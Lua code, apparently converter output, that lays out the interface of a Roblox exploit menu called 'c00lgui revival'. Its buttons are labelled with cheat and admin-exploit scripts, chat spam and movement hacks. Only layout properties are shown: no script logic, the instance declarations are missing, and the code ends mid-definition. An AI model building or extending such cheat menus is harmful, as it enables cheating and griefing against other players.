C 00 Lgui
C 00 Lgui
-- Version: 3.2
-- Instances:
--Properties:
CoolGui.Name = "CoolGui"
CoolGui.Parent = game.Players.LocalPlayer.PlayerGui
CoolGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
CoolGui.ResetOnSpawn = false
cope.Name = "cope"
cope.Parent = CoolGui
cope.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
cope.BorderColor3 = Color3.fromRGB(255, 0, 0)
cope.BorderSizePixel = 3
cope.LayoutOrder = 13
cope.Position = UDim2.new(-0.000998668605, 0, 0.962397218, 0)
cope.Size = UDim2.new(0, 300, 0, 20)
cope.ZIndex = 3
cope.Font = Enum.Font.SourceSans
cope.Text = "Close"
cope.TextColor3 = Color3.fromRGB(255, 255, 255)
cope.TextSize = 18.000
settings.Name = "settings"
settings.Parent = CoolGui
settings.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
settings.BorderColor3 = Color3.fromRGB(255, 0, 0)
settings.BorderSizePixel = 3
settings.Position = UDim2.new(0.280000001, 3, 0.294712126, 0)
settings.Size = UDim2.new(0, 300, 0, 400)
settings.ZIndex = 2
titles.Name = "titles"
titles.Parent = settings
titles.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
titles.BorderColor3 = Color3.fromRGB(255, 0, 0)
titles.BorderSizePixel = 3
titles.LayoutOrder = 3
titles.Size = UDim2.new(0, 300, 0, 40)
titles.Font = Enum.Font.SourceSans
titles.Text = "Settings"
titles.TextColor3 = Color3.fromRGB(255, 255, 255)
titles.TextSize = 24.000
smain.Name = "smain"
smain.Parent = settings
smain.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
smain.BorderColor3 = Color3.fromRGB(255, 0, 0)
smain.BorderSizePixel = 3
smain.Position = UDim2.new(0.00333363842, 0, 0.100000001, 0)
smain.Size = UDim2.new(0, 298, 0, 359)
sdidlabel.Name = "sdidlabel"
sdidlabel.Parent = smain
sdidlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sdidlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
sdidlabel.BorderSizePixel = 3
sdidlabel.Size = UDim2.new(0, 149, 0, 33)
sdidlabel.ZIndex = 3
sdidlabel.Font = Enum.Font.SourceSansBold
sdidlabel.Text = "Skybox/Decal ID"
sdidlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
sdidlabel.TextSize = 14.000
bgtlabel.Name = "bgtlabel"
bgtlabel.Parent = smain
bgtlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
bgtlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
bgtlabel.BorderSizePixel = 3
bgtlabel.Position = UDim2.new(0.5, 0, 0, 0)
bgtlabel.Size = UDim2.new(0, 149, 0, 33)
bgtlabel.ZIndex = 3
bgtlabel.Font = Enum.Font.SourceSansBold
bgtlabel.Text = "Billboard Gui Text"
bgtlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
bgtlabel.TextSize = 14.000
sdid.Name = "sdid"
sdid.Parent = smain
sdid.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sdid.BorderColor3 = Color3.fromRGB(255, 0, 0)
sdid.BorderSizePixel = 3
sdid.Position = UDim2.new(0, 0, 0.0919220075, 0)
sdid.Size = UDim2.new(0, 149, 0, 28)
sdid.ZIndex = 3
sdid.Font = Enum.Font.SourceSans
sdid.Text = "433517917"
sdid.TextColor3 = Color3.fromRGB(255, 255, 255)
sdid.TextSize = 14.000
sdid.TextWrapped = true
bgt.Name = "bgt"
bgt.Parent = smain
bgt.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
bgt.BorderColor3 = Color3.fromRGB(255, 0, 0)
bgt.BorderSizePixel = 3
bgt.Position = UDim2.new(0.5, 0, 0.0919220075, 0)
bgt.Size = UDim2.new(0, 149, 0, 28)
bgt.ZIndex = 3
bgt.Font = Enum.Font.SourceSans
bgt.Text = "c00lkidd revival"
bgt.TextColor3 = Color3.fromRGB(255, 255, 255)
bgt.TextSize = 14.000
bgt.TextWrapped = true
swsjhlabel.Name = "swsjhlabel"
swsjhlabel.Parent = smain
swsjhlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
swsjhlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
swsjhlabel.BorderSizePixel = 3
swsjhlabel.Position = UDim2.new(0, 0, 0.169916436, 0)
swsjhlabel.Size = UDim2.new(0, 74, 0, 33)
swsjhlabel.ZIndex = 3
swsjhlabel.Font = Enum.Font.SourceSansBold
swsjhlabel.Text = "Set WS/JH"
swsjhlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
swsjhlabel.TextSize = 14.000
sglabel.Name = "sglabel"
sglabel.Parent = smain
sglabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sglabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
sglabel.BorderSizePixel = 3
sglabel.Position = UDim2.new(0.241610736, 0, 0.169916436, 0)
sglabel.Size = UDim2.new(0, 74, 0, 33)
sglabel.ZIndex = 3
sglabel.Font = Enum.Font.SourceSansBold
sglabel.Text = "Set Gravity"
sglabel.TextColor3 = Color3.fromRGB(255, 255, 255)
sglabel.TextSize = 14.000
swsjh.Name = "swsjh"
swsjh.Parent = smain
swsjh.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
swsjh.BorderColor3 = Color3.fromRGB(255, 0, 0)
swsjh.BorderSizePixel = 3
swsjh.Position = UDim2.new(0, 0, 0.261838436, 0)
swsjh.Size = UDim2.new(0, 72, 0, 28)
swsjh.ZIndex = 3
swsjh.Font = Enum.Font.SourceSans
swsjh.Text = "50"
swsjh.TextColor3 = Color3.fromRGB(255, 255, 255)
swsjh.TextSize = 14.000
swsjh.TextWrapped = true
sg.Name = "sg"
sg.Parent = smain
sg.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sg.BorderColor3 = Color3.fromRGB(255, 0, 0)
sg.BorderSizePixel = 3
sg.Position = UDim2.new(0.241610736, 0, 0.261838436, 0)
sg.Size = UDim2.new(0, 74, 0, 28)
sg.ZIndex = 3
sg.Font = Enum.Font.SourceSans
sg.Text = "100"
sg.TextColor3 = Color3.fromRGB(255, 255, 255)
sg.TextSize = 14.000
sg.TextWrapped = true
sidlabel.Name = "sidlabel"
sidlabel.Parent = smain
sidlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sidlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
sidlabel.BorderSizePixel = 3
sidlabel.Position = UDim2.new(0.5, 0, 0.169916436, 0)
sidlabel.Size = UDim2.new(0, 149, 0, 33)
sidlabel.ZIndex = 3
sidlabel.Font = Enum.Font.SourceSansBold
sidlabel.Text = "Music ID"
sidlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
sidlabel.TextSize = 14.000
sid.Name = "sid"
sid.Parent = smain
sid.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sid.BorderColor3 = Color3.fromRGB(255, 0, 0)
sid.BorderSizePixel = 3
sid.Position = UDim2.new(0.5, 0, 0.261838436, 0)
sid.Size = UDim2.new(0, 149, 0, 28)
sid.ZIndex = 3
sid.Font = Enum.Font.SourceSans
sid.Text = ""
sid.TextColor3 = Color3.fromRGB(255, 255, 255)
sid.TextSize = 14.000
sid.TextWrapped = true
fps.Name = "fps"
fps.Parent = smain
fps.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
fps.BorderColor3 = Color3.fromRGB(255, 0, 0)
fps.BorderSizePixel = 3
fps.Position = UDim2.new(0, 0, 0.339832872, 0)
fps.Size = UDim2.new(0, 149, 0, 33)
fps.ZIndex = 3
fps.Font = Enum.Font.SourceSans
fps.Text = "FPS: "
fps.TextColor3 = Color3.fromRGB(255, 255, 255)
fps.TextSize = 14.000
size.Name = "size"
size.Parent = smain
size.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
size.BorderColor3 = Color3.fromRGB(255, 0, 0)
size.BorderSizePixel = 3
size.Position = UDim2.new(0, 0, 0.431754887, 0)
size.Size = UDim2.new(0, 149, 0, 33)
size.ZIndex = 3
size.Font = Enum.Font.SourceSans
size.Text = "Server Size: "
size.TextColor3 = Color3.fromRGB(255, 255, 255)
size.TextSize = 14.000
time.Name = "time"
time.Parent = smain
time.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
time.BorderColor3 = Color3.fromRGB(255, 0, 0)
time.BorderSizePixel = 3
time.Position = UDim2.new(0, 0, 0.523676872, 0)
time.Size = UDim2.new(0, 149, 0, 33)
time.ZIndex = 3
time.Font = Enum.Font.SourceSans
time.Text = "Server Time: "
time.TextColor3 = Color3.fromRGB(255, 255, 255)
time.TextSize = 14.000
time.TextWrapped = true
checkrfe.Name = "checkrfe"
checkrfe.Parent = smain
checkrfe.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
checkrfe.BorderColor3 = Color3.fromRGB(255, 0, 0)
checkrfe.BorderSizePixel = 3
checkrfe.Position = UDim2.new(0.5, 0, 0.339832872, 0)
checkrfe.Size = UDim2.new(0, 149, 0, 33)
checkrfe.ZIndex = 3
checkrfe.Font = Enum.Font.SourceSans
checkrfe.Text = "Loading.."
checkrfe.TextColor3 = Color3.fromRGB(255, 255, 255)
checkrfe.TextSize = 14.000
checkrfe.TextWrapped = true
suslabel.Name = "suslabel"
suslabel.Parent = smain
suslabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
suslabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
suslabel.BorderSizePixel = 3
suslabel.Position = UDim2.new(0, 0, 0.615598857, 0)
suslabel.Size = UDim2.new(0, 146, 0, 33)
suslabel.ZIndex = 3
suslabel.Font = Enum.Font.SourceSansBold
suslabel.Text = "Set Username"
suslabel.TextColor3 = Color3.fromRGB(255, 255, 255)
suslabel.TextSize = 14.000
sus.Name = "sus"
sus.Parent = smain
sus.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sus.BorderColor3 = Color3.fromRGB(255, 0, 0)
sus.BorderSizePixel = 3
sus.Position = UDim2.new(0, 0, 0.707520902, 0)
sus.Size = UDim2.new(0, 146, 0, 28)
sus.ZIndex = 3
sus.Font = Enum.Font.SourceSans
sus.Text = "c00lkidd"
sus.TextColor3 = Color3.fromRGB(255, 255, 255)
sus.TextSize = 14.000
sus.TextWrapped = true
rlabel.Name = "rlabel"
rlabel.Parent = smain
rlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
rlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
rlabel.BorderSizePixel = 3
rlabel.Position = UDim2.new(0.5, 0, 0.615598857, 0)
rlabel.Size = UDim2.new(0, 49, 0, 33)
rlabel.ZIndex = 3
rlabel.Font = Enum.Font.SourceSansBold
rlabel.Text = "R"
rlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
rlabel.TextSize = 14.000
glabel.Name = "glabel"
glabel.Parent = smain
glabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
glabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
glabel.BorderSizePixel = 3
glabel.Position = UDim2.new(0.667785227, 0, 0.615598857, 0)
glabel.Size = UDim2.new(0, 49, 0, 33)
glabel.ZIndex = 3
glabel.Font = Enum.Font.SourceSansBold
glabel.Text = "G"
glabel.TextColor3 = Color3.fromRGB(255, 255, 255)
glabel.TextSize = 14.000
blabel.Name = "blabel"
blabel.Parent = smain
blabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
blabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
blabel.BorderSizePixel = 3
blabel.Position = UDim2.new(0.832214773, 0, 0.615598857, 0)
blabel.Size = UDim2.new(0, 49, 0, 33)
blabel.ZIndex = 3
blabel.Font = Enum.Font.SourceSansBold
blabel.Text = "B"
blabel.TextColor3 = Color3.fromRGB(255, 255, 255)
blabel.TextSize = 14.000
r.Name = "r"
r.Parent = smain
r.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
r.BorderColor3 = Color3.fromRGB(255, 0, 0)
r.BorderSizePixel = 3
r.Position = UDim2.new(0.5, 0, 0.707520902, 0)
r.Size = UDim2.new(0, 50, 0, 28)
r.ZIndex = 3
r.Font = Enum.Font.SourceSans
r.Text = "255"
r.TextColor3 = Color3.fromRGB(255, 255, 255)
r.TextSize = 14.000
r.TextWrapped = true
g.Name = "g"
g.Parent = smain
g.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
g.BorderColor3 = Color3.fromRGB(255, 0, 0)
g.BorderSizePixel = 3
g.Position = UDim2.new(0.667785227, 0, 0.707520902, 0)
g.Size = UDim2.new(0, 50, 0, 28)
g.ZIndex = 3
g.Font = Enum.Font.SourceSans
g.Text = "0"
g.TextColor3 = Color3.fromRGB(255, 255, 255)
g.TextSize = 14.000
g.TextWrapped = true
b.Name = "b"
b.Parent = smain
b.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
b.BorderColor3 = Color3.fromRGB(255, 0, 0)
b.BorderSizePixel = 3
b.Position = UDim2.new(0.832214773, 0, 0.707520902, 0)
b.Size = UDim2.new(0, 50, 0, 28)
b.ZIndex = 3
b.Font = Enum.Font.SourceSans
b.Text = "0"
b.TextColor3 = Color3.fromRGB(255, 255, 255)
b.TextSize = 14.000
b.TextWrapped = true
stlabel.Name = "stlabel"
stlabel.Parent = smain
stlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
stlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
stlabel.BorderSizePixel = 3
stlabel.Position = UDim2.new(0.5, 0, 0.431754887, 0)
stlabel.Size = UDim2.new(0, 148, 0, 33)
stlabel.ZIndex = 3
stlabel.Font = Enum.Font.SourceSansBold
stlabel.Text = "Set Spam Text"
stlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
stlabel.TextSize = 14.000
st.Name = "st"
st.Parent = smain
st.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
st.BorderColor3 = Color3.fromRGB(255, 0, 0)
st.BorderSizePixel = 3
st.Position = UDim2.new(0.5, 0, 0.523676872, 0)
st.Size = UDim2.new(0, 149, 0, 30)
st.ZIndex = 4
st.Font = Enum.Font.SourceSans
st.Text = "join team c00lkidd!"
st.TextColor3 = Color3.fromRGB(255, 255, 255)
st.TextSize = 14.000
st.TextWrapped = true
sbutton.Name = "sbutton"
sbutton.Parent = settings
sbutton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sbutton.BorderColor3 = Color3.fromRGB(255, 0, 0)
sbutton.BorderSizePixel = 3
sbutton.Position = UDim2.new(1, 0, 0, 0)
sbutton.Size = UDim2.new(0, 27, 1, 0)
sbutton.ZIndex = 2
sbutton.Font = Enum.Font.SourceSans
sbutton.Text = "<"
sbutton.TextColor3 = Color3.fromRGB(255, 255, 255)
sbutton.TextSize = 48.000
main.Name = "main"
main.Parent = CoolGui
main.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
main.BorderColor3 = Color3.fromRGB(255, 0, 0)
main.BorderSizePixel = 3
main.Position = UDim2.new(-0.00299600535, 3, 0.294712126, 0)
main.Size = UDim2.new(0, 300, 0, 400)
main.ZIndex = 2
title.Name = "title"
title.Parent = main
title.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
title.BorderColor3 = Color3.fromRGB(255, 0, 0)
title.BorderSizePixel = 3
title.LayoutOrder = 3
title.Position = UDim2.new(-0.00333333341, 0, 0, 0)
title.Size = UDim2.new(0, 300, 0, 40)
title.Font = Enum.Font.SourceSans
title.Text = "c00lgui revival by Hyperion (EDITED)"
title.TextColor3 = Color3.fromRGB(255, 255, 255)
title.TextSize = 24.000
left.Name = "left"
left.Parent = main
left.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
left.BorderColor3 = Color3.fromRGB(255, 0, 0)
left.BorderSizePixel = 3
left.Position = UDim2.new(0, 0, 0.100000001, 0)
left.Size = UDim2.new(0, 149, 0, 33)
left.Font = Enum.Font.SourceSans
left.Text = "<"
left.TextColor3 = Color3.fromRGB(255, 255, 255)
left.TextSize = 48.000
right.Name = "right"
right.Parent = main
right.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
right.BorderColor3 = Color3.fromRGB(255, 0, 0)
right.BorderSizePixel = 3
right.Position = UDim2.new(0.49666667, 0, 0.100000001, 0)
right.Size = UDim2.new(0, 149, 0, 33)
right.Font = Enum.Font.SourceSans
right.Text = ">"
right.TextColor3 = Color3.fromRGB(255, 255, 255)
right.TextSize = 48.000
page1.Name = "page1"
page1.Parent = main
page1.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
page1.BorderColor3 = Color3.fromRGB(255, 0, 0)
page1.BorderSizePixel = 3
page1.Position = UDim2.new(0, 0, 0.182500005, 0)
page1.Size = UDim2.new(0, 298, 0, 306)
fes.Name = "fes"
fes.Parent = page1
fes.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
fes.BorderColor3 = Color3.fromRGB(255, 0, 0)
fes.BorderSizePixel = 3
fes.Size = UDim2.new(0, 149, 0, 306)
sectitle.Name = "sectitle"
sectitle.Parent = fes
sectitle.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle.BorderSizePixel = 3
sectitle.Size = UDim2.new(0, 149, 0, 30)
sectitle.Font = Enum.Font.SourceSansBold
sectitle.Text = "FE Scripts"
sectitle.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle.TextSize = 14.000
button.Name = "button"
button.Parent = fes
button.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button.BorderColor3 = Color3.fromRGB(255, 0, 0)
button.BorderSizePixel = 3
button.Position = UDim2.new(0, 0, 0.0980392173, 0)
button.Size = UDim2.new(0, 71, 0, 25)
button.Font = Enum.Font.SourceSans
button.Text = "Glitch Sound"
button.TextColor3 = Color3.fromRGB(255, 255, 255)
button.TextSize = 14.000
button_2.Name = "button"
button_2.Parent = fes
button_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_2.BorderSizePixel = 3
button_2.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_2.Size = UDim2.new(0, 71, 0, 25)
button_2.Font = Enum.Font.SourceSans
button_2.Text = "Dank Engine"
button_2.TextColor3 = Color3.fromRGB(255, 255, 255)
button_2.TextSize = 14.000
button_3.Name = "button"
button_3.Parent = fes
button_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_3.BorderSizePixel = 3
button_3.Position = UDim2.new(0, 0, 0.179738566, 0)
button_3.Size = UDim2.new(0, 71, 0, 25)
button_3.Font = Enum.Font.SourceSans
button_3.Text = "Lightsaber"
button_3.TextColor3 = Color3.fromRGB(255, 255, 255)
button_3.TextSize = 14.000
button_4.Name = "button"
button_4.Parent = fes
button_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_4.BorderSizePixel = 3
button_4.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_4.Size = UDim2.new(0, 71, 0, 25)
button_4.Font = Enum.Font.SourceSans
button_4.Text = "sing c00lkidd"
button_4.TextColor3 = Color3.fromRGB(255, 255, 255)
button_4.TextSize = 14.000
button_5.Name = "button"
button_5.Parent = fes
button_5.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_5.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_5.BorderSizePixel = 3
button_5.Position = UDim2.new(0, 0, 0.261437923, 0)
button_5.Size = UDim2.new(0, 71, 0, 25)
button_5.Font = Enum.Font.SourceSans
button_5.Text = "Nameless FE"
button_5.TextColor3 = Color3.fromRGB(255, 255, 255)
button_5.TextSize = 14.000
button_6.Name = "button"
button_6.Parent = fes
button_6.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_6.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_6.BorderSizePixel = 3
button_6.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_6.Size = UDim2.new(0, 71, 0, 25)
button_6.Font = Enum.Font.SourceSans
button_6.Text = "Infinite Yield"
button_6.TextColor3 = Color3.fromRGB(255, 255, 255)
button_6.TextSize = 14.000
button_7.Name = "button"
button_7.Parent = fes
button_7.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_7.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_7.BorderSizePixel = 3
button_7.Position = UDim2.new(0, 0, 0.343137264, 0)
button_7.Size = UDim2.new(0, 71, 0, 25)
button_7.Font = Enum.Font.SourceSans
button_7.Text = "Fedora Admin"
button_7.TextColor3 = Color3.fromRGB(255, 255, 255)
button_7.TextSize = 14.000
button_8.Name = "button"
button_8.Parent = fes
button_8.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_8.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_8.BorderSizePixel = 3
button_8.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_8.Size = UDim2.new(0, 71, 0, 25)
button_8.Font = Enum.Font.SourceSans
button_8.Text = "OPFinality"
button_8.TextColor3 = Color3.fromRGB(255, 255, 255)
button_8.TextSize = 14.000
button_9.Name = "button"
button_9.Parent = fes
button_9.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_9.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_9.BorderSizePixel = 3
button_9.Position = UDim2.new(0, 0, 0.424836606, 0)
button_9.Size = UDim2.new(0, 71, 0, 25)
button_9.Font = Enum.Font.SourceSans
button_9.Text = "Illuminati"
button_9.TextColor3 = Color3.fromRGB(255, 255, 255)
button_9.TextSize = 14.000
button_10.Name = "button"
button_10.Parent = fes
button_10.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_10.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_10.BorderSizePixel = 3
button_10.Position = UDim2.new(0.523489952, 0, 0.424836606, 0)
button_10.Size = UDim2.new(0, 71, 0, 25)
button_10.Font = Enum.Font.SourceSans
button_10.Text = "Script Hub"
button_10.TextColor3 = Color3.fromRGB(255, 255, 255)
button_10.TextSize = 14.000
button_11.Name = "button"
button_11.Parent = fes
button_11.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_11.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_11.BorderSizePixel = 3
button_11.Position = UDim2.new(0, 0, 0.506535947, 0)
button_11.Size = UDim2.new(0, 71, 0, 25)
button_11.Font = Enum.Font.SourceSans
button_11.Text = "Executor"
button_11.TextColor3 = Color3.fromRGB(255, 255, 255)
button_11.TextSize = 14.000
button_12.Name = "button"
button_12.Parent = fes
button_12.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_12.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_12.BorderSizePixel = 3
button_12.Position = UDim2.new(0.523489952, 0, 0.506535947, 0)
button_12.Size = UDim2.new(0, 71, 0, 25)
button_12.Font = Enum.Font.SourceSans
button_12.Text = "Energize FE"
button_12.TextColor3 = Color3.fromRGB(255, 255, 255)
button_12.TextSize = 14.000
button_13.Name = "button"
button_13.Parent = fes
button_13.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_13.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_13.BorderSizePixel = 3
button_13.Position = UDim2.new(0, 0, 0.588235319, 0)
button_13.Size = UDim2.new(0, 71, 0, 25)
button_13.Font = Enum.Font.SourceSans
button_13.Text = "dev-uzi"
button_13.TextColor3 = Color3.fromRGB(255, 255, 255)
button_13.TextSize = 14.000
button_14.Name = "button"
button_14.Parent = fes
button_14.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_14.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_14.BorderSizePixel = 3
button_14.Position = UDim2.new(0.523489952, 0, 0.588235319, 0)
button_14.Size = UDim2.new(0, 71, 0, 25)
button_14.Font = Enum.Font.SourceSans
button_14.Text = "Unanchored2Plr"
button_14.TextColor3 = Color3.fromRGB(255, 255, 255)
button_14.TextSize = 14.000
lp.Name = "lp"
lp.Parent = page1
lp.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
lp.BorderColor3 = Color3.fromRGB(255, 0, 0)
lp.BorderSizePixel = 3
lp.Position = UDim2.new(0.5, 0, 0, 0)
lp.Size = UDim2.new(0, 149, 0, 306)
sectitle_2.Name = "sectitle"
sectitle_2.Parent = lp
sectitle_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_2.BorderSizePixel = 3
sectitle_2.Size = UDim2.new(0, 149, 0, 30)
sectitle_2.Font = Enum.Font.SourceSansBold
sectitle_2.Text = "LocalPlayer"
sectitle_2.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_2.TextSize = 14.000
button_15.Name = "button"
button_15.Parent = lp
button_15.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_15.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_15.BorderSizePixel = 3
button_15.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_15.Size = UDim2.new(0, 71, 0, 25)
button_15.Font = Enum.Font.SourceSans
button_15.Text = "Billboard Gui"
button_15.TextColor3 = Color3.fromRGB(255, 255, 255)
button_15.TextSize = 14.000
button_15.TextWrapped = true
button_16.Name = "button"
button_16.Parent = lp
button_16.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_16.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_16.BorderSizePixel = 3
button_16.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_16.Size = UDim2.new(0, 71, 0, 25)
button_16.Font = Enum.Font.SourceSans
button_16.Text = "Change Name"
button_16.TextColor3 = Color3.fromRGB(255, 255, 255)
button_16.TextSize = 14.000
button_17.Name = "button"
button_17.Parent = lp
button_17.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_17.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_17.BorderSizePixel = 3
button_17.Position = UDim2.new(0, 0, 0.179738566, 0)
button_17.Size = UDim2.new(0, 71, 0, 25)
button_17.Font = Enum.Font.SourceSans
button_17.Text = "Set Walkspeed"
button_17.TextColor3 = Color3.fromRGB(255, 255, 255)
button_17.TextSize = 14.000
button_18.Name = "button"
button_18.Parent = lp
button_18.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_18.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_18.BorderSizePixel = 3
button_18.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_18.Size = UDim2.new(0, 71, 0, 25)
button_18.Font = Enum.Font.SourceSans
button_18.Text = "Floating Pad"
button_18.TextColor3 = Color3.fromRGB(255, 255, 255)
button_18.TextSize = 14.000
button_19.Name = "button"
button_19.Parent = lp
button_19.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_19.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_19.BorderSizePixel = 3
button_19.Position = UDim2.new(0, 0, 0.261437923, 0)
button_19.Size = UDim2.new(0, 71, 0, 25)
button_19.Font = Enum.Font.SourceSans
button_19.Text = "Set Platform"
button_19.TextColor3 = Color3.fromRGB(255, 255, 255)
button_19.TextSize = 14.000
button_20.Name = "button"
button_20.Parent = lp
button_20.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_20.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_20.BorderSizePixel = 3
button_20.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_20.Size = UDim2.new(0, 71, 0, 25)
button_20.Font = Enum.Font.SourceSans
button_20.Text = "Spam Text"
button_20.TextColor3 = Color3.fromRGB(255, 255, 255)
button_20.TextSize = 14.000
button_21.Name = "button"
button_21.Parent = lp
button_21.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_21.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_21.BorderSizePixel = 3
button_21.Position = UDim2.new(0, 0, 0.343137264, 0)
button_21.Size = UDim2.new(0, 71, 0, 25)
button_21.Font = Enum.Font.SourceSans
button_21.Text = "Chicken Arms"
button_21.TextColor3 = Color3.fromRGB(255, 255, 255)
button_21.TextSize = 14.000
button_22.Name = "button"
button_22.Parent = lp
button_22.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_22.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_22.BorderSizePixel = 3
button_22.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_22.Size = UDim2.new(0, 71, 0, 25)
button_22.Font = Enum.Font.SourceSans
button_22.Text = "Set Gravity"
button_22.TextColor3 = Color3.fromRGB(255, 255, 255)
button_22.TextSize = 14.000
button_23.Name = "button"
button_23.Parent = lp
button_23.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_23.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_23.BorderSizePixel = 3
button_23.Position = UDim2.new(0, 0, 0.424836606, 0)
button_23.Size = UDim2.new(0, 71, 0, 25)
button_23.Font = Enum.Font.SourceSans
button_23.Text = "Set Jump"
button_23.TextColor3 = Color3.fromRGB(255, 255, 255)
button_23.TextSize = 14.000
button_24.Name = "button"
button_24.Parent = lp
button_24.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_24.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_24.BorderSizePixel = 3
button_24.Position = UDim2.new(0.523489952, 0, 0.424836606, 0)
button_24.Size = UDim2.new(0, 71, 0, 25)
button_24.ZIndex = 2
button_24.Font = Enum.Font.SourceSans
button_24.Text = "Head Shake"
button_24.TextColor3 = Color3.fromRGB(255, 255, 255)
button_24.TextSize = 14.000
pgname.Name = "pgname"
pgname.Parent = page1
pgname.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
